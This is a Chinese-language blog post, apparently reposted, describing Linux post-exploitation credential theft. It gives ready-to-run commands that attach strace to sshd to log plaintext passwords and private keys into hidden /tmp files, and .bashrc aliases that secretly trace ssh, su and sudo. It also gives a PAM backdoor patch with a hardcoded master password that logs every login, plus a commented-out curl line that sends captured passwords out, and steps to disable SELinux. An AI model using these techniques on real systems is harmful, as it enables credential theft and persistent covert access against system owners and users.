系统相关
首页 > 系统相关> > linux 后渗透凭据收集

linux 后渗透凭据收集

作者:互联网

linux 后渗透凭据收集

strace

获取sshd进程明文密码

# 使用括号执行程序,当前shell退出,执行的程序不会退出
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

获取sshd 进程私钥

# 使用括号执行程序,当前shell退出,执行的程序不会退出
# 如果私钥设置了密码,无法抓到私钥的密码
# grep 'PRIVATE KEY' /tmp/.sshd.log 查看私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

alias

给指定程序设置命令别名,使运行指定程序时自动strace读写系统调用,收集登录凭证

收集ssh登陆凭证

# 添加命令别名
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 使命令别名立即生效
source ~/.bashrc

收集su 、sudo 等

# 添加命令别名
vi ~/.bashrc或者/etc/bashrc
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
# 使命令别名立即生效
source ~/.bashrc

PAM 后门

环境搭建

cat /etc/*-release & uname -a 
rpm -qa|grep pam    #查看当前PAM版本
http:/xxx#download 对应版本
yum install flex -y 

修改编译 ./Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

retval = _unix_verify_password(pamh,name,p,crtl); //找到该行,快速找一下函数
    
int pam_sm_authenticate 函数内 定义FILE *fp;

添加code
if(strcmp(p,"LOL_uzi2020@")==0){
    return PAM_SUCCESS;  // 这里的LOL_uzi2020@ 可以自行修改为自己的密码
}

if(retval==PAM_SUCCESS){
    fp = fopen("/tmp/.logs","a");
    fprintf(fp,"%s->%s\n",name,p); //记录密码在/tmp/.logs 
    fclose(fp);   
   // system("curl http://127.0.0.1:99/`cat /tmp/.logs|tail -n 1|base64` -s --connect-timeout 3 -o /dev/null");  #用服务接收密码  

}



 ./Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so //编译后生成的so文件

查看selinux

getenforce  # 查看selinux 状态
setenforce 0 # 关闭selinux

替换pam_unix.so

cp /lib64/security/pam_unix.so ./pam_unix.so.bak # 先进行备份 (以防崩了无法还原)

cp ./pam_unix.so /lib64/security/pam_unix.so

总结

当linux系统配置文件/proc/sys/kernel/yama/ptrace_scope值不为3时,可以通过strace记录任何程序的系统调用(常用read、write调用)来获取登录凭证

0-经典ptrace权限:进程可以将PTRACE_ATTACH传递给任何其他进程,只要它是可转储的(即没有转换uid,没有特权启动或没有调用prctl(PR_SET_DUMPABLE ...)。同样,PTRACE_TRACEME为不变。

1-受限制的ptrace:进程必须具有预定义的关系下一个它想调用PTRACE_ATTACH。默认情况下,当上面的关系时,这种关系只是其后代的关系也符合经典标准。要改变关系,下级可以调用prctl(PR_SET_PTRACER,debugger,...)进行声明允许的调试器PID调用劣质的PTRACE_ATTACH。使用PTRACE_TRACEME不变。

2-仅限管理员附加:只有具有CAP_SYS_PTRACE的进程才能使用ptrace,通过PTRACE_ATTACH,或通过子级调用PTRACE_TRACEME。

标签:tmp,sshd,调用,渗透,凭据,strace,unix,linux,pam
来源: https://www.cnblogs.com/0xdd/p/13095330.html